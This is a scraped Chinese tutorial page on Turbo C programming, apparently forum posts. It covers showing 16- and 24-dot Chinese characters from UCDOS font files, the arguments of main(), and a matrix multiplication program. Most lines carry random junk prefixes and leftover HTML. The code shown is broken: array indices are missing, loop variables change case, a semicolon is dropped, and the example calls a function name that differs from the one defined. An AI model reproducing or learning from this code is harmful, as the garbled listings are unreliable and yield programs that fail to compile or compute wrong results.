1 x0 P+ H/ c/ [# b! W5 hfor(i3=0;i3&lt;8;i3++)
' E) n+ F$ I$ [7 V4 H/ kif(GetBit(by[i1*2+i2],7-i3))
6 I1 Y1 w% Z$ H% Eputpixel(x+i2*8+i3,y+i1,color);
x=x+z+16;
}
* `% W+ ^, R7 J  o}
return(x);
" s- f% _: V# }3 |% R. D: |}
. n7 Z  Z8 ~$ N6 p0 _  J& n函数GetBit定义如下：
　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
int GetBit(unsigned char c,int n)
' T$ |3 [, N6 g1 v4 g! M- `. Y6 b+ Z{
return((c&gt;&gt;n)&amp;1);
# T* P; A3 f% k) H/ Y/ ^2 j/ F}
汉字显示结束，应该关闭字库文件。
+ s2 n1 E! N9 q; h* ]. qvoid CloseHz(void)
% S0 X( G- R$ L$ {{
4 H0 \. I3 G  R- e+ W' mclose( handle );
}
3 C& `, j3 n/ O' \#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
4 D% m4 a+ o- J* Q8 P2 P7 Uint gr=DETECT,gm;
; A5 b2 ?1 I8 J2 B9 n5 Cinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
OpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
CloseHz();
8 p! h. J) @/ e" O9 e6 Y  t( tgetch();
closegraph();
}显示２４点阵及放大汉字
+ ~  g6 ^; T; D# U4 T% S" n/ G　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
{
" u- V; O) D/ _unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
& l8 ?7 B/ n& d& W  S5 F- zlong l; /*color:汉字颜色*/
/ N5 B/ @) f% W3 S( A$ [char by[72]; /*m: x 方向的放大倍数*/
/*n: y 方向的放大倍数*/
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
$ _0 Q, z8 X' L$ l1 ?if(i&gt;0xa1)
2 i6 L6 ?- Y( |' \! R$ O" Cif(f==0){
c1=(i-0xa1)&amp;0x7f;
4 v3 U& [+ l, S% @f=1;
! C3 c$ N: {3 P3 l) t4 h, H}
else{
2 g, \# Z% x  d9 q6 |$ H6 kc2=(i-0xa1)&amp;0x7f;
f=0;
: E- B& L2 a2 L8 ], J# Hrec=(c1-15)*94+c2;
, }! L' j( M: C) C  [  Pl=rec*72L;
lseek(handle,l,SEEK_SET);
read(handle,by,72);
for(i1=0;i1&lt;24*m;i1=i1+m)
for(i4=0;i4<M;I4++)
# k6 \# k( y) f* V2 G for(i2=0;i2&lt;=2;i2++)
8 I* V3 G& c1 W7 w3 G9 e3 [. `for(i3=0;i3&lt;8;i3++)
* ~% [# ~. n- Hif(GetBit(by[i1/m*3+i2],7-i3))
for(i5=0;i5<N;I5++)
( g- y- y% j4 a3 S- J+ E/ |6 X putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
x=x+24*m+z;
}
}
6 ^$ Y5 w/ t% D' u+ oreturn(x);
. K: G2 Y/ i3 s8 g6 A% ^} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
% A  f; Z* k6 j' J#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
8 s$ Y" ?) W0 K" Zint gr=DETECT,gm;
: ^9 ^) x* A% A/ o  p4 @initgraph(&amp;gr,gm,"\\Caic\\Bgi");
OpenHz( Hz24Path );
Wrt24Hz(20,20, /*先是在（x,y）*/
4, /*汉字间的空格为4*/
RED, /*用红色显示*/
2, /*x 方向放大２倍*/
+ S7 v& A" C: n5 y" P  I0 X4, /*y 方向放大４倍*/
HzStr); /*显示字符串*/
1 E% {# T7 i7 u8 {* v0 B1 xCloseHz();
% S. ]& X8 v: J/ x' tgetch();
; a+ T- p2 X3 j  b1 _: o/ Q# Xclosegraph();
6 f" q0 Q* d+ y/ ^2 ?}
1 T! K# _# B: K* {& O5 z</P>

韩冰

<>　　再谈main()主函数
  H7 |. p3 v3 A& H　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
- I. R* ^# B# Y0 w1. main() 参数
8 ?- b* D& E5 d5 p0 \　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
- e; @0 \! r) O) j, a" p1 M8 g　　* argc: 整数，为传给main()的命令行参数个数。
7 h5 n' [2 _/ [4 S　　* argv: 字符串数组。
* O  l3 G) ?6 W/ P' @在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
...
argv[argc]为NULL。
　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
1 i! t* y  o2 d% n8 w值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。</P>

韩冰

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
#include&lt;stdio.h&gt;
#include&lt;conio.h&gt;
( h3 [! P* H6 u' A#define X 3
#define Y 3</P><>int a[X][Y];
int b[X][Y];
  k. w* k2 M( Y1 |& g- a6 C/ Pint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
. O  m6 t% {0 o! u3 ]8 Qmain()
{
int i,j,temp;
clrscr();
  o) F* l5 P9 y/ A4 b2 `printf("lease input int matrix b[%d][%d]\n",X,Y);
0 x  f! h1 s! \: t! ]- ?. @for(i=0;i&lt;Y;i++)
: h' t: ^/ I4 A1 b  yfor(j=0;j&lt;Y;j++){
scanf("%d",&amp;temp);
b[j]=temp;
1 B. O) V, G3 A% [}
printf("lease input int matrix c[%d][%d]\n",X,Y);
for(i=0;i&lt;X;i++)
- a& G% h+ c5 u) efor(j=0;j&lt;Y;j++){
scanf("%d",&amp;temp);
7 L/ D- s+ L, E7 L0 b3 Zc[j]=temp;
: M, m5 J/ t; n8 E9 w}
matrix(b,c);
printf("Now print resource matrix b[%d][%d]=",X,Y);
for(i=0;i&lt;X;i++){
! e* \0 ~% J1 T0 j$ p9 tprintf("\n");
for(j=0;j&lt;Y;j++)
printf("%d ",b[j]);
* v5 }2 ^) Z6 X$ u9 U( o}
printf("\n");
printf("Now print resource matrix c[%d][%d]=",X,Y);
9 P' x$ Q3 j1 t. \, d8 }  Ufor(i=0;i&lt;X;i++){
printf("\n");
for(j=0;j&lt;Y;j++)
printf("%d ",c[j]);
/ R! n$ ?5 \5 H' S8 _' I$ A/ n) W}
4 i& R- [; d# ^" ^! ?printf("\n");
& B' }, H. V( F. l# b. iprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
for(i=0;i&lt;X;i++){
printf("\n");
for(j=0;j&lt;Y;j++)
printf("%d ",a[j]);
  Q2 v% ~( G0 \8 G* M0 n4 ^}
getch();
return 0;
}
/********************************************************************/
void matrix(int b[][X],int c[][Y])
! Z8 o3 S# v$ e. C{
9 n& Y- c  G& }; B3 Y% Mint i,j,k,temp;
for(i=0;i&lt;X;i++)
1 B6 W- S: Q' ]0 ?+ d" j9 E+ I! afor(j=0;j&lt;Y;j++){
for(k=0;k&lt;Y;k++)
& X% }9 v$ N! B0 P5 s1 Va[j]+=b[k]*c[k][j];
% K! e* X0 T5 ^+ P}
}</P>